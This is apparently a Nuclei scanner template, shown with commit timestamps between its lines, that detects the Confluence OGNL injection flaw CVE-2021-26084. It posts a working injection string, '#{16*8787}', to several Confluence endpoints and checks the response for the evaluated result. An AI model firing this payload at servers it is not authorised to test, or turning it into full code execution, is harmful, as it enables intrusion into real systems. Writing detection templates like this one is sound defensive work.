2021-08-31 20:40:27 +00:00
id : CVE-2021-26084
info :
2022-05-18 20:58:07 +00:00
name : Confluence Server - Remote Code Execution
2021-09-02 17:35:07 +00:00
author : dhiyaneshDk,philippedelteil
2021-08-31 20:40:27 +00:00
severity : critical
2022-05-18 20:58:07 +00:00
description : Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
2021-08-31 20:40:27 +00:00
reference :
2021-09-01 18:34:06 +00:00
- https://jira.atlassian.com/browse/CONFSERVER-67940
2021-09-03 07:10:20 +00:00
- https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
2021-08-31 20:40:27 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-26084
2021-09-03 07:10:20 +00:00
- https://github.com/Udyz/CVE-2021-26084
2024-01-29 17:11:14 +00:00
- https://github.com/0xsyr0/OSCP
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 9.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-26084
2023-08-31 11:46:18 +00:00
cwe-id : CWE-917
2024-01-14 13:49:27 +00:00
epss-score : 0.97235
2024-01-29 17:11:14 +00:00
epss-percentile : 0.99813
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
2022-03-19 10:42:08 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 13
2023-07-11 19:49:27 +00:00
vendor : atlassian
product : confluence_data_center
2023-09-06 12:09:01 +00:00
shodan-query : http.component:"Atlassian Confluence"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,rce,confluence,injection,ognl,kev,atlassian
2021-08-31 20:40:27 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-08-31 20:40:27 +00:00
- raw :
- |
2021-09-03 07:10:20 +00:00
POST /{{path}} HTTP/1.1
2021-08-31 20:40:27 +00:00
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
2021-09-01 18:34:06 +00:00
queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb
2021-09-01 18:58:41 +00:00
2021-09-03 07:10:20 +00:00
payloads :
path :
- pages/createpage-entervariables.action?SpaceKey=x
2021-09-09 20:38:22 +00:00
- pages/createpage-entervariables.action
2021-09-03 07:10:20 +00:00
- confluence/pages/createpage-entervariables.action?SpaceKey=x
2021-09-09 20:38:22 +00:00
- confluence/pages/createpage-entervariables.action
2021-09-03 07:10:20 +00:00
- wiki/pages/createpage-entervariables.action?SpaceKey=x
2021-09-09 20:38:22 +00:00
- wiki/pages/createpage-entervariables.action
2021-09-03 07:10:20 +00:00
- pages/doenterpagevariables.action
- pages/createpage.action?spaceKey=myproj
- pages/templates2/viewpagetemplate.action
- pages/createpage-entervariables.action
- template/custom/content-editor
- templates/editor-preload-container
- users/user-dark-features
2021-09-02 17:35:07 +00:00
2021-09-03 07:10:20 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2021-08-31 20:40:27 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2021-09-02 17:35:07 +00:00
- 'value="aaaa{140592=null}'
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2024-01-30 06:46:18 +00:00
# digest: 490a00463044022038f8d235868c9fdfa08343e6ecd2b07dd89026caec46e11ee5074887ee0cc6f20220718f66d0e832696291597eaa986aa8d0de6ab93de11f737eb58f34c5cb3fc703:922c64590222798bb761d5b6d8e72950